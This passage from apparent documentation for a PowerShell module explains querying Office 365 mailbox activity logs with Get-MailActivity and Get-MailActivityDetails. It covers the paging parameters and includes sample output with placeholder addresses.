CustomProperties : {@{Name=Layout; Value=Mouse}, @{Name=Timezone; Value=FLE Standard Time}, @{Name=IPAddress; Value=104.40.211.35}, @{Name=Browser; Value=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW
ebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36+Preload+Preload}...}
```
By default, the command returns 500 entries of data for previous month (~30 days).
The timeframe can be changed using StartTime and EndTime parameters. The number of returned entries can be set using MaxResults parameter.
For "pagination", a StartFrom parameter can be used. Activity and application types can be specified using ActivityType and ApplicationType parameters, respectively.
Note! Credentials and user parameters are not required for subsequent queries.
{{< highlight powershell >}}
# Get the first 200 login activities from the beginning of 2018
Get-MailActivity -StartTime "2018-01-01" -ActivityType ServerLogon -MaxResults 200
# Get the next 200 login activities from the beginning of 2018
Get-MailActivity -StartTime "2018-01-01" -ActivityType ServerLogon -MaxResults 200 -StartFrom 200
{{< /highlight>}}
Activity details can be queried only for email messages. Other activity types will return an error.
In the following, all delivered messages are saved to a variable and details will be queried for the first one.
{{< highlight powershell >}}
# Save mail delivery activities to a variable
$activities=Get-MailActivity -ActivityType MessageDelivered
# Get details of the delivered message
Get-MailActivityDetails -ActivityItemId $activities[0].ActivityItemId
{{< /highlight>}}
The output contains activity detailed data similar to this:
```
@odata.context : https://outlook.office365.com/api/v1.0/$metadata#Users('user%40example.com')/Messages(BccRecipients,BodyPreview,Categories,CcRecipients,ChangeKey,ConversationId,DateTim
eCreated,DateTimeLastModified,DateTimeReceived,DateTimeSent,From,HasAttachments,Id,Importance,IsDeliveryReceiptRequested,IsDraft,IsRead,IsReadReceiptRequested,ParentFolderId,Re
plyTo,Sender,Subject,ToRecipients,WebLink)/$entity
@odata.id : https://outlook.office365.com/api/v1.0/Users('user@example.com')/Messages('AQMkAGRmZTg4ADUzMC1hZDM1LTQyMGQtYmNiZC05YmU3NTdmYjQyZTgARgAAA8yzVux2QbdKlut-8M64dIoHALjOrtlnK
ZFGiqXy4EQAvQkAAAIBDAAAALjOrtlnKZFGiqXy4EQAvQkAAAIheQAAAA==')
@odata.etag : W/"CQAAABYAAAC4zq7ZZymRRoql8uBEAL0JAAAAAAuz"
Id : AQMkAGRmZTg4ADUzMC1hZDM1LTQyMGQtYmNiZC05YmU3NTdmYjQyZTgARgAAA8yzVux2QbdKlut-8M64dIoHALjOrtlnKZFGiqXy4EQAvQkAAAIBDAAAALjOrtlnKZFGiqXy4EQAvQkAAAIheQAAAA==
DateTimeCreated : 2018-06-26T11:19:50Z
DateTimeLastModified : 2018-06-27T19:38:27Z
ChangeKey : CQAAABYAAAC4zq7ZZymRRoql8uBEAL0JAAAAAAuz
Categories : {}
DateTimeReceived : 2018-06-26T11:19:50Z
DateTimeSent : 2018-06-26T11:19:43Z
HasAttachments : False
Subject : This is an email
BodyPreview : admin demo (admin.demo@example.com) has sent you a protected message.
Lorem ipsum dolor
Importance : Normal
ParentFolderId : AQMkAGRmZTg4ADUzMC1hZDM1LTQyMGQtYmNiZC05YmU3NTdmYjQyZTgALgAAA8yzVux2QbdKlut-8M64dIoBALjOrtlnKZFGiqXy4EQAvQkAAAIBDAAAAA==
ConversationId : AAQkAGRmZTg4NTMwLWFkMzUtNDIwZC1iY2JkLTliZTc1N2ZiNDJlOAAQAERP2prSYs1LojG5LfI2HvA=
IsDeliveryReceiptRequested :
IsReadReceiptRequested : False
IsRead : True
IsDraft : False
WebLink : https://outlook.office365.com/owa/?ItemID=AQMkAGRmZTg4ADUzMC1hZDM1LTQyMGQtYmNiZC05YmU3NTdmYjQyZTgARgAAA8yzVux2QbdKlut%2F8M64dIoHALjOrtlnKZFGiqXy4EQAvQkAAAIBDAAAALjOrtlnKZFGiqXy
4EQAvQkAAAIheQAAAA%3D%3D&exvsurl=1&viewmodel=ReadMessageItem
Sender : @{EmailAddress=}
From : @{EmailAddress=}
ToRecipients : {@{EmailAddress=}}
CcRecipients : {}
BccRecipients : {}
ReplyTo : {}
```
The message body can be included using -IncludeBody switch.

Some files were not shown because too many files have changed in this diff Show More